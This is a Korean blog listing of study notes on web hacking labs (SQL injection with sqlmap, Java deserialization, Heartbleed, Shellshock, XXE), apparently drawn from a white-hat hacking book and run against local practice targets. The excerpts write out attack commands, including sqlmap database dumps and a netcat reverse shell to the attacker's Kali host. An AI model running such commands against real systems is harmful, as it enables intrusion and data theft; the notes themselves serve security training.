본문 바로가기

화이트해커를 위한 웹 해킹의 기술17

Chapter 18. 실전 모의해킹 최종 실습 1. 정보 수집 - 파라미터 값이 달라지는 것을 발견 2. SQL 인젝션 공격 - ‘을 입력했을 때 SQL 형식 관련 에러가 발생하는 것을 볼 수 있음 sqlmap -u “http://192.68.37.133/cat.php?id=1’ - 위 명령어를 통해 sqlmap을 실행시켜 인젝션 공격이 가능한 부분을 탐색, 굵게 표시된 부분을 보니 id 파라미터가 들어가는 곳이 취약 - sql 인젝션 공격과 xss 공격이 가능한 것을 확인 sqlmap -u "http://192.168.37.133/cat.php?id=1" --current-db - 현재 DB의 이름을 알아내고, sqlmap -u "http://192.168.37.133/cat.php?id=1" -D photoblog --dump - DB.. 2019. 3. 14.
Chapter 17. 자바 역직렬화 취약점 공격 자바 역직렬화 취약점 공격 개요 - 저장되어 있는 바이트 스트림을 다시 객체로 만들어 원래의 데이터를 다시 불러오는 과정 - aced0005라는 문자열은 직렬화된 데이터의 앞에 항상 나타나는 문자열로, 매직 바이트임 자바 역직렬화 취약점 공격 실습 - 저장되어 있는 바이트 스트림을 다시 객체 - 전송되고 있는 파일의 타입을 통해 직렬화된 데이터를 발견 - 직화된 데이터가 있군 nc -lvnp 4000 - 서버로 실행해두기 nc 칼리리눅스 주소 4000 -e /bin/bash - nc 접속을 위한 명령문 - 원하는 명령어를 실행할 수 있는 공격 코드 만들기 위해서 공격코드를 reverse.bin 파일로 생성 - 다시 요청하기 위해 Repeater로 전송하고 파일의 바디 부분에서 paste from file.. 2019. 3. 14.
Chapter 16. 알려진 취약점을 이용한 공격 하트블리드 취약점 공격 실습 - 하트블리드 취약점을 이용하면 공격자는 웹 서버 호스트의 메모리를 읽을 수 있어 사용자의 로그인 정보 및 그 밖에 노출되면 안되는 민감한 정보들을 탈취할 수 있음 - 앞에 https와 8443 포트 번호붙이고 접속 - 터미널에서 하트블리드 파일 실행시키면 id/패스워드가 보임 쉘쇼크 취약점 공격과 리버스 쉘 실습 - 쉘쇼크는 bash 쉘의 취약점 env x=’() { :;}; echo vulnerable’ bash -c ‘echo this is test’ - 쉘쇼크 취약점이 있는지 판단할 수 있는 명령문, x 환경 변수에 쉘쇼크 공격 패턴과 명령어를 지정한 뒤 bash 쉘을 실행하여 지정한 명령어가실행되는지 확인 - 쉘쇼크에 취약하지 않은 경우 DANGER 표시X nc -e.. 2019. 3. 14.
Chapter 15. XXE 공격 XXE 공격 개요 - XML 타입의 데이터가 웹 요청을 통해 전송되고, 서버에서 XML 외부 엔티티를 처리할 수 있도록 설정된 경우 발생할 수 있음 - 사용자가 웹 어플리케이션으로 전달되는 XML 데이터를 직접 업로드하거나 수정할 수 있는 경우, 공격자는 외부 엔티티를 참조하는 XML 데이터를 전송하여 파일과 같은 서버 내부의 정보를 탈취하거나 서비스 거부 공격, SSRF 등의 공격을 할 수 있음 XXE 공격 실습 - bWAPP>XML External Entity Attacks (XXE)에서 [Any Bugs?]누르면 전송되는 데이터에서 XML이 전송되는 것을 발견 - bee가 응답데이터도 있네 -> XML 태그의 내용이 응답 페이지에서 발견된다면 XXE 공격을 시도해볼 수 있음 - 해당 요청을 repe.. 2019. 3. 14.